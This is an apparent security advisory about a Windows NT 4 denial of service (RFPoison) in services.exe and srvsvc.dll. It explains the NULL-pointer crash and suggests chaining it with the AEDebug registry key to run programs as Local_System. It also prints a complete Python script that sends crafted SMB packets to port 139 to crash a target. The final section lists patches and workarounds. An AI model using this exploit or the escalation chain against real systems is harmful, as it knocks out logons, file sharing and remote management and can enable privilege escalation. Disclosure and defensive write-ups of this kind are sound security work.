COMMAND
Services.exe
SYSTEMS AFFECTED
WinNT 4
PROBLEM
".rain.forest.puppy." found following. Interesting on how things
go around/come around. Recently Luke Kenneth Casson Leighton
found that SP6 does not fixes the LSA denial of service. He
states that this problem is essentially "due to
marshalling/unmarshalling MSRPC code being unable to cope with a
NULL policy handle." He also states that they reported this
problem to Microsoft around February 1999.
Well, no, RFP did not 'rediscover' the LSA denial of service. He
did, however, discover a different denial of service based out of
services.exe. When sent a specific packet, it's possible to get
srvsvc.dll to choke, and cause services.exe to reference a bad
memory location. For those geeks in the crowd, essentially
srvsvc_netrshareenum in srvsvc.dll uses
rpcrt4_ndrcomplexstructunmarshall to tweak a string, but returns
a NULL. srvsvc_netrshareenum doesn't check for return value, adds
four to the pointer, and passes it up a function stack until
finally that memory is read (address 00000004). Blam...Dr.
Watson.
So we have another problem due to marshalling/unmarshalling MSRPC
code. This was found independantly of Luke's info and the LSA
vulnerability. The impact is pretty severe. Services.exe
handles named pipes for the system. Once this crashes, everything
named-pipe-based goes with it. This means logons, logouts, remote
system access (registry, server functions, etc), local server
management, IIS, file sharing, etc...all go down the tube.
However, the box will, for the most part, appear to function
normally on the local side, until you do something involving a
named pipe service. The only fix is to reboot...however, the
shutdown procedure waits for every (non-existant) service to
respond to shutdown, and timeout. On a typical box this could
cause the full shutdown procedure to push over a half-hour;
therefore, hard reset is most likely needed. Also, once in a
great while the bug will 'survive' during a reset. It may take
two reboots to get the system back in order. Strange, yes. How,
who knows. But it's what happened over a half dozen times across
four separate boxes that were tested.
Now, some of you are thinking "well, denial of services suck.
How can we own .gov and .mil websites with this?" Well, let's go
back to David LeBlanc's response to RFP9903 (AEDebug advisory).
He states, for AEDebug to really be a problem, you have to "make
something crash that has higher access rights than you do." He
also states "you've got to make a service go down that won't kill
the machine." Bingo, this fits the bill. If we have access to
change the AEDebug registry key, we can set what programs to run
on crash, set autorun to True, and then crash services.exe. Our
programs run as Local_System, the box is still alive (TCP/IP-wise)
and usable via netcat and whatnot. A much more useful situation
for a denial of service, don't you think? Also, Eric Schultze has
detailed out many situations where someone could have access to
your AEDebug key. It is suggested you read his tidbit. It's
posted as document 11 in the knowledge base available at
http://www.wiretrip.net/rfp/
So far, RFP has been able to use this exploit on NT 4.0 server and
workstation, with various levels of SP 1, 3, 5, and 6 service
packs installed. He even tried applying SP 5 with the following
hotfixes (in the following order): lsareq, ipsrfix, csrssfx,
ioctlfx, and igmpfix. He also tried using the Security
Configuration Editor on various different 'secure' system
profiles, testing to see if perhaps a registry key affected it.
After all modifications, the systems were still susceptible.
HOWEVER, there are reports of two boxes *NOT* being susceptible.
The reason for this, however, is unfound. Information will be
released when it is found.
RFP released a working exploit, but with conditions:
- he will only release a Windows executable.
- The windows executable is coded to reboot (NT) or crash (9x)
upon successful execution. If you blow something up, you
blow up too. Seems fair enough.
- A few checks that keep the program from running if you run
in a user context that does not allow the above 'safety
features' to work.
The skilled will be able to go off this, and the, well, the
abusers will hit the glass ceiling as intended. You can download
RFPoison.exe from my website (of course) at
http://www.wiretrip.net/rfp/
'nascheme' posted following. He didn't do much of a reverse
engineering job but maybe someone will find this useful for
testing other exploits along the same line. The Python code
should be portable. Maybe someone can make it more generic. It
works against all the NT machines tried (probably all SP5). You
may have to run the exploit multiple times before SERVICES.EXE
dies. It is hard to test with the machine rebooting all the time.
#!/usr/bin/env python
#
# Services.exe DoS
# hard work done by: rfp@wiretrip.net
# Python hack by: nas@adler.dynodns.net
#
# This only seems to work on NT. Also, it may have to be run multiple times
# before SERVICES.EXE will die. Improvements welcome.
#
# Usage: rfpoison.py <ip address>
import string
import struct
from socket import *
import sys
def a2b(s):
bytes = map(lambda x: string.atoi(x, 16), string.split(s))
data = string.join(map(chr, bytes), '')
return data
def b2a(s):
bytes = map(lambda x: '%.2x' % x, map(ord, s))
return string.join(bytes, ' ')
# NBSS session request
nbss_session = a2b("""
81 00 00 48 20 43 4b 46 44 45
4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43
41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45
42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46
43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00
00 00
""")
# SMB stuff
crud = (
# SMBnegprot Request
"""
ff 53 4d 42 72 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43
20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d
20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20
4e 45 54 57 4f 52 4b 53 20 31 2e 30 33 00 02 4d
49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b
53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30
00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d
62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e
30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00
""",
# SMBsessetupX Request
"""
ff 53 4d 42 73 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff
ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00
00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f
55 50 00 55 6e 69 78 00 53 61 6d 62 61 00
""",
# SMBtconX Request
"""
ff 53 4d 42 75 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00
00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56
45 52 5c 49 50 43 24 00 49 50 43 00
""",
# SMBntcreateX request
"""
ff 53 4d 42 a2 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 00
07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00
00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00
00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72
76 73 76 63 00
""",
# SMBtrans Request
"""
ff 53 4d 42 25 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00
00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 49
50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00
00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00
00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78
5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c
c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00
""",
# SMBtrans Request
"""
ff 53 4d 42 25 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00
00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49
50 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 00
00 00 02 00 00 00 48 00 00 00 00 00 0f 00 01 00
00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00
5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00
56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00
00 00 00 00 00 00 ff ff ff ff 00 00 00 00
"""
)
crud = map(a2b, crud)
def smb_send(sock, data, type=0, flags=0):
d = struct.pack('!BBH', type, flags, len(data))
#print 'send:', b2a(d+data)
sock.send(d+data)
def smb_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)
type, flags, length = struct.unpack('!BBH', s)
data = sock.recv(length)
assert(len(data) == length)
#print 'recv:', b2a(s+data)
return type, flags, data
def nbss_send(sock, data):
sock.send(data)
def nbss_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)
return s
def main(host, port=139):
s = socket(AF_INET, SOCK_STREAM)
s.connect(host, port)
nbss_send(s, nbss_session)
nbss_recv(s)
for msg in crud[:-1]:
smb_send(s, msg)
smb_recv(s)
smb_send(s, crud[-1]) # no response to this
s.close()
if __name__ == '__main__':
print 'Sending poison...',
main(sys.argv[1])
print 'done.'
SOLUTION
Patch availability:
- x86:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=16382
- alpha:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=16383
Patch for Windows NT Server, Terminal Server Edition will be
released shortly. WOrkarounds are below.
- Block port 139 on your firewall. This, however, does not stop
internal attack.
- Turn off the Server service. While inconvenient, this should
be deemed as a temporary solution until you apply a MS patch.
Just for reference, shutting off the Server service will also
shut down the Computer Browser service. Glitch, a fellow
Wiretrip member, describes the functions of these services as
follows:
SERVER: Used as the key to all server-side NetBIOS
applications, this service is somewhat needed. Without this
service, some of the administrative tools, such as Server
Manager, could not be used. If remote administration is not
needed, it is highly recommended disabling this service.
Contrary to popular belief, this service is NOT needed on a
webserver.
COMPUTER BROWSER: The Computer Browser service is a function
within Microsoft networking for gathering and distributing
resource information. When active on a server, the server
will register its name through a NetBIOS broadcast or directly
to a WINS server.
So you should note that turning these services off will disable
the server from participating in NetBIOS-related functions,
including file sharing and remote management. But realistically,
how many servers need this? Alternate means of content publishing
(for webservers) exist (FTP and -ugh- FrontPage). Of course this
leaves the myriad of other services though.
PFPoison.exe will not affect your server if you unbind TCP/IP from
the NetBIOS interface. This is a basic NT security precaution and
is even recommended by Microsoft. If you really feel the need to
implement windows file sharing or otherwise use the internet to
extend access to your local network, there are several options
available that are more 'secure' than NetBIOS over TCP/IP.
- Enable 'RestrictAnonymous'
Suggested by David LeBlanc, you can enable 'RestrictAnonymous'
support in Lsa. To do this, go to (in the registry):
\HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
If you don't have it, you need to create a DWORD key named
'RestrictAnonymous', with a value of '1'. This will restrict
anonymous SMB connections (which RFPoison uses). This still
leaves your box usuable by normal means.